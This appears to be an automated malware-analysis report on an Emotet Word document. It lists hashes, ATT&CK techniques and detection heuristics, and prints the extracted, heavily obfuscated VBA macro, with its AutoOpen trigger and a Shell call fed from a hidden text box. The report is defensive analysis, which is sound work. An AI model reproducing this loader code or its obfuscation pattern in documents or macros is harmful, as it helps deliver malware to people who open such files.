Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7ad65beaa9602a5e…

MALICIOUS

Office (OLE)

90.4 KB Created: 2018-12-17 21:30:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: bfbc1d8fa89fcf15421285cdb3221aed SHA-1: 64f2d0a2566006bbfc29b034507415d96dc9aa9f SHA-256: 7ad65beaa9602a5e004fd7cc5807cb967f5b4c80deb7526e4033fe1d63dd6d15
292 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for Emotet. The macros are heavily obfuscated but contain calls to `Shell()` and references to `cmd.exe` and `powershell.exe`, indicating an attempt to execute arbitrary code. The ClamAV detection explicitly names this as Emotet, reinforcing the family attribution. The primary function of the VBA script appears to be downloading and executing a second-stage payload.

Heuristics 10

  • ClamAV: Doc.Downloader.Emotet-6787908-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6787908-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          AjSjfXwScHwcjMFq = 293484054 - VGwJrCovKaLkjpcowklqUdQw
jmDHt = Array(uwmPNq, QujMYGsYI, sOVFCdsqA, Interaction.Shell(jhSFFUF, jMttjILjUpA), pVBsCjupk)
   zOhIIjzQHoMQtaDu = AcNqSBtnwblcSaC * Rnd(50949013 / Sin(wiJBidFXwwFqiJCwWziVVf)) / Wfd + Int(81976620 - Rnd(262331594 - Tan(142440833) * 79640661 - Cos(LnoOKIEiZlERzIT)) / 128667255 * Sin(34996394 / Tan(266435529) / 321218655 / Hex(93224451))) + 117660931 + CStr(232370576) - 197994237 / CLng(319995703) * 187906643 - Fix(130868022 - Hex(253895787) * 130602934 / ChrW(RVjWVtjJiuhdidMSj / 231853763))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
TpcZjth
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9219 bytes
SHA-256: d11ec3c5be3436d8bc789a0f9dd9e933537e438337a78c4d460aefa98353990d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
132 of 162 identifiers look randomly generated (e.g. 'VGwJrCovKaLkjpcowklqUdQw') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TjMGZUTaFB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
TpcZjth
End Sub

Attribute VB_Name = "ZbWwfJwTTEY"
Function TpcZjth()
On Error Resume Next
   nzLNKGIhXXLtZFBKsocQXE = ndkHlojcHZqrToRpaOZ * Rnd(209079346 / Sin(ztQIEpXOnOSiWXjZz)) / Wfd + Int(150840118 - Rnd(295147046 - Tan(282787557) * 314007432 - Cos(TjNiWbzCBwYLpj)) / 128682541 * Sin(332156604 / Tan(219231474) / 336617848 / Hex(62911362))) + 91348459 + CStr(135309460) - 74132083 / CLng(162872249) * 60754499 - Fix(317668215 - Hex(107476546) * 220533032 / ChrW(arjoUtahvWSvOkMUJ / 73273741))
      zGBpthhjIKEmGujbJRkrv = 64809018 - DLjOzkwEzlihJZCmHmKRX
   KoWilaiCZnhiWHI = pwPNlWLjqSvQEkiijUaO * Rnd(195715482 / Sin(IkKjloMrjbrkKSTCWocp)) / Wfd + Int(291035971 - Rnd(125086408 - Tan(201635169) * 90706055 - Cos(pFDBChuCJqfCBkWUwlUZTZPK)) / 200561503 * Sin(329447753 / Tan(244683343) / 244670142 / Hex(264577942))) + 259034721 + CStr(274338692) - 40691733 / CLng(323363610) * 251454719 - Fix(315088763 - Hex(231109202) * 55701355 / ChrW(duzhAcozUEGVthKoiQptWE / 316547334))
      OWAYFPonLIHZblZ = 261164615 - idjiStIvIIftPTZwoT
   YqmiRlIvZvjKoUY = WpqANRdOFvNzlr * Rnd(103120881 / Sin(AmDKrUitAmwZOziT)) / Wfd + Int(115128268 - Rnd(165179845 - Tan(152845340) * 239266687 - Cos(cuGNYYVXKJhfYJ)) / 9998704 * Sin(113498146 / Tan(88606035) / 58831031 / Hex(9900551))) + 77090631 + CStr(322566407) - 3827791 / CLng(178240301) * 129521718 - Fix(24580888 - Hex(1090234) * 52766312 / ChrW(ujMUfJYrwzTwIVpd / 108538629))
      pohCEQVYFcTmJXQIdiwNAPl = 64123176 - QpFDbLzDKKTfscwwGE
   jasADNHBPzUBlnM = oZCUWAGHwLVqcmPWNRHmadaT * Rnd(80909695 / Sin(UnKhNacNjfukljTlC)) / Wfd + Int(284624974 - Rnd(293097757 - Tan(113204613) * 164605447 - Cos(jwnTfZXLziIHfSwRwuNP)) / 37190555 * Sin(236266840 / Tan(181497499) / 189945285 / Hex(210590849))) + 155752077 + CStr(124555900) - 267650063 / CLng(175337780) * 231634410 - Fix(179875580 - Hex(310047437) * 275860146 / ChrW(ELttvDpUjLcdDBplswDJYzW / 73222753))
      IGjlQHNRoOkXEzKZlDPACT = 116068677 - pqdrjSEpiGmwGjPEPMPnENoz
   EKHRmiooEGuXwQAzGlDtGO = NDikcUlakFozalwasfY * Rnd(102988409 / Sin(BidAuuipUjhpmtOHwM)) / Wfd + Int(133859109 - Rnd(122121644 - Tan(208500879) * 70792134 - Cos(IQaMJLLOizDMYBjhZ)) / 22649124 * Sin(242419059 / Tan(105499910) / 168050651 / Hex(46094484))) + 67804002 + CStr(263304435) - 285769357 / CLng(224420658) * 125541506 - Fix(297776068 - Hex(125249126) * 24817035 / ChrW(pqMUkUiYiISzqjhpFPfuPuus / 8135349))
      mUbsSviBNVLjwMr = 202146355 - HHHTEKsNdnJhuvU
   GYMwqIaawqRHCwTmTISCrTDF = jtdutcUoaKmzMsCV * Rnd(272981118 / Sin(AaUvkqlhaTuFnVHiHPwfCNw)) / Wfd + Int(125293362 - Rnd(185676752 - Tan(265073048) * 214043989 - Cos(HPPjCbCitnImJLCAtVXQpd)) / 247533660 * Sin(258127409 / Tan(160914712) / 68165492 / Hex(277324617))) + 261738451 + CStr(194354091) - 7711909 / CLng(128912918) * 316601619 - Fix(68061250 - Hex(316847384) * 172812390 / ChrW(ENDLTcpTGKVrLwZH / 113312531))
      zdicIskOBsUMcNlrv = 211634500 - LzMoSjOozcjbMiuww
   XYcJGUfKHpSHhqLAqQIjS = VZBzsIOVscohkJFHiqoQz * Rnd(309953877 / Sin(iJcbfqcAzQpCCIHcXwl)) / Wfd + Int(319424487 - Rnd(276521654 - Tan(121722400) * 340165647 - Cos(CvjiSsBiazXqPjj)) / 207673592 * Sin(104710038 / Tan(188841200) / 273406456 / Hex(112213617))) + 308797388 + CStr(41793616) - 13725966 / CLng(332155663) * 177231031 - Fix(91126031 - Hex(108884408) * 132664062 / ChrW(wjLJWZjGuhGOHbDl / 114430010))
      rNGjNciLvtlHEbhU = 186341124 - LjtGzYVviCniwNJBZ
Const jMttjILjUpA = 0
   iKnYhosaHEoumL = zoYcGapvwfkHEdczqLXmkkZ * Rnd(145764188 / Sin(hmDooLvROGutbNap)) / Wfd + Int(102585912 - Rnd(281939449 - Tan(297051053) * 322180673 - Cos(owiFwiPZKMPCOZolGIUop)) / 280714252 * Sin(155967815 / Tan(222984966) / 36144718 / Hex(95434317))) + 330704202 + CStr(323060562) - 325930545 / CLng(136488695) * 301673823 - Fix(212248390 - Hex(165925869) * 212209804 / ChrW(pYjqcjsDtirNolDIiYIrzYz / 340216125))
      kSbqSjdijzNXRrIzniDOB = 65055003 - uLLHQovQbjGsOQNa
   VhwXRHjiTTBlXEDzFhGMj = mlMYidDNAvwzNFpnhmwrknw * Rnd(240014404 / Sin(UAdptKhBiuMLtYFiGSFm)) / Wfd + Int(162102545 - Rnd(284040991 - Tan(331144499) * 48115889 - Cos(zTOrHwmcuOcaXHkQz)) / 229931929 * Sin(67016573 / Tan(191119541) / 188789963 / Hex(267012168))) + 93918608 + CStr(291799023) - 84142682 / CLng(199643270) * 137655344 - Fix(297163148 - Hex(328112161) * 34454553 / ChrW(CVYtqTJXwajwJdEiLUVb / 54109062))
      ioLFWfcdsiplZEzNuznLNC = 300629749 - EOIvJYciUOrjilziuShEIX
   QXKBDwHmkZTVttfjMtI = jbQtttqpEcOUptB * Rnd(307504278 / Sin(cbjATBucsaOsRHzO)) / Wfd + Int(275326080 - Rnd(287035149 - Tan(273269399) * 45602521 - Cos(IKFRhILwjArkTkSZG)) / 101916790 * Sin(166770292 / Tan(149291728) / 110929486 / Hex(5672932))) + 122478637 + CStr(183475292) - 326504011 / CLng(258268828) * 133266540 - Fix(95924371 - Hex(40345348) * 338948390 / ChrW(MnwTQdjltiiMaX / 52710519))
      XhpicQkzHrdTuozsjwiwXQBv = 152860746 - jomorEppzhQQZwDwMZAQ
   qAXEaMHitZammNULO = JSzBEwEMIsOIkN * Rnd(341561936 / Sin(APELwWlsLCUVAOiovNCLPp)) / Wfd + Int(319933645 - Rnd(163442264 - Tan(1209751) * 97142574 - Cos(PUkpNmvMFGCEnh)) / 44188562 * Sin(278220292 / Tan(11724461) / 196192170 / Hex(234095433))) + 78242179 + CStr(305969259) - 60524467 / CLng(167375906) * 88967679 - Fix(151193604 - Hex(74925861) * 265283750 / ChrW(LSfLjTVYaNGiEBdhsJO / 199392802))
      zuvQCJGuXSCzUBm = 180809584 - UULiPoWAHsfrVNwKSMXkujJ
jhSFFUF = TjMGZUTaFB.TextBox1.Text + uEkjA + YPvQa + BouSa + EFnCo + wnKwFMtS + dRMiltoa + splTYC + zwhLbPEB + VXMFAX + RBQIiKC + RifDwKL + qjNWPX
   STjjlbXwHjtuTzjiiM = CLZkulLAMYITUR * Rnd(104858937 / Sin(OKoJrlmTGLzFoHPaK)) / Wfd + Int(288627588 - Rnd(271489553 - Tan(78854023) * 294297299 - Cos(mwZbLazNZdDiSUpCJRYGd)) / 228589571 * Sin(259548832 / Tan(45087768) / 78126483 / Hex(31341794))) + 58764416 + CStr(219429570) - 61750557 / CLng(186912280) * 188263292 - Fix(26004915 - Hex(146045937) * 207040016 / ChrW(qjPaMTtmUBFpvkHiXnm / 34240904))
      KTPGRSDzAzMmvz = 125693586 - rMnkwSFFPNwCtFQkaVjQATu
   CqcrinlYTQqZSlwIIMZwtK = iqLnzWrrGMfzCvaHHWZjvWor * Rnd(186552686 / Sin(RiYjPustwATzlCb)) / Wfd + Int(166577103 - Rnd(234417036 - Tan(84854596) * 259753891 - Cos(uNhFRcUaBHCTLsFJSawkHI)) / 317860079 * Sin(173170524 / Tan(261395937) / 52997710 / Hex(246395769))) + 150500768 + CStr(53210194) - 148523881 / CLng(255202989) * 180444212 - Fix(29762230 - Hex(277067134) * 85996004 / ChrW(BTPnZRsqwAotzS / 42321142))
      QCilQGRJqzSiVaO = 139747661 - BHzLJLqPFbnTsZpQdLBL
   idiJfEKWFbPXQw = VziIYJJhzIstIz * Rnd(134432780 / Sin(bbpTuwFMKCnwmzapOiW)) / Wfd + Int(12778743 - Rnd(33059322 - Tan(309375204) * 198080869 - Cos(VvhAmKBZkzovaiKWuSwVVKv)) / 2116943 * Sin(222821859 / Tan(22737211) / 207482195 / Hex(200147096))) + 174017556 + CStr(121654038) - 151393743 / CLng(213848188) * 326715874 - Fix(332610988 - Hex(332931935) * 330730595 / ChrW(EZzAOOmJiOjTzHmwI / 142903573))
      AjSjfXwScHwcjMFq = 293484054 - VGwJrCovKaLkjpcowklqUdQw
jmDHt = Array(uwmPNq, QujMYGsYI, sOVFCdsqA, Interaction.Shell(jhSFFUF, jMttjILjUpA), pVBsCjupk)
   zOhIIjzQHoMQtaDu = AcNqSBtnwblcSaC * Rnd(50949013 / Sin(wiJBidFXwwFqiJCwWziVVf)) / Wfd + Int(81976620 - Rnd(262331594 - Tan(142440833) * 79640661 - Cos(LnoOKIEiZlERzIT)) / 128667255 * Sin(34996394 / Tan(266435529) / 321218655 / Hex(93224451))) + 117660931 + CStr(232370576) - 197994237 / CLng(319995703) * 187906643 - Fix(130868022 - Hex(253895787) * 130602934 / ChrW(RVjWVtjJiuhdidMSj / 231853763))
      BMHzYzqcJslqWkNH = 104115983 - udPkJXtPknGRiwkaSEK
   VLFwRWhTmkOKHMJjwfmC = wUZzoUzmnqdVcRZptAnwuh * Rnd(156434531 / Sin(SHsawXoEdpWqfAcCijwt)) / Wfd + Int(246302355 - Rnd(265144019 - Tan(205233995) * 308654786 - Cos(uCfwFsQwvfhbZpQBYsmvj)) / 65319661 * Sin(294119835 / Tan(156418841) / 247064174 / Hex(93071316))) + 93200085 + CStr(229731621) - 196555957 / CLng(296748606) * 201306141 - Fix(186410219 - Hex(325943229) * 283232514 / ChrW(UJGXwGtkVuaJri / 290550864))
      vszAkKHMrihSCAFi = 224050721 - wsSVpppZWcLFWAlfjjzqSJ
   qkhzmVBjvDjJRCRamDC = zXNUOZzTZaDbzouEM * Rnd(315705927 / Sin(ZVvDSbcSJnvHjBjaTWM)) / Wfd + Int(243934611 - Rnd(85763933 - Tan(158860603) * 221515812 - Cos(UzHKdHMOqcduBUu)) / 296949069 * Sin(251207399 / Tan(45257519) / 265248966 / Hex(212887347))) + 196217330 + CStr(120554213) - 132121372 / CLng(177198616) * 105357905 - Fix(88895656 - Hex(181826524) * 220848654 / ChrW(KOBnoiTUSpBahRHXoYzbTwGj / 8628465))
      CfjuPjfPfOcGNlbZTRmF = 318277219 - MDbocFfMHRmLfo
   QzLcuhDGwPaHYDdPGzH = IQGWjlYdiaSSHWdT * Rnd(69223453 / Sin(EdpUqoQOMQHvYfssRz)) / Wfd + Int(286546468 - Rnd(270799572 - Tan(312854894) * 56739920 - Cos(ZbYzIABZJEktdUo)) / 173138044 * Sin(118332183 / Tan(35889307) / 120391234 / Hex(165597652))) + 51494856 + CStr(147065136) - 231083562 / CLng(11528116) * 254592178 - Fix(167194538 - Hex(95163790) * 34056256 / ChrW(bVavUPsRqIOLqzqnmOYd / 166951933))
      jdjADsWKilwwijJzJEv = 55524475 - wENQZsNAKpbEClzMULz
End Function

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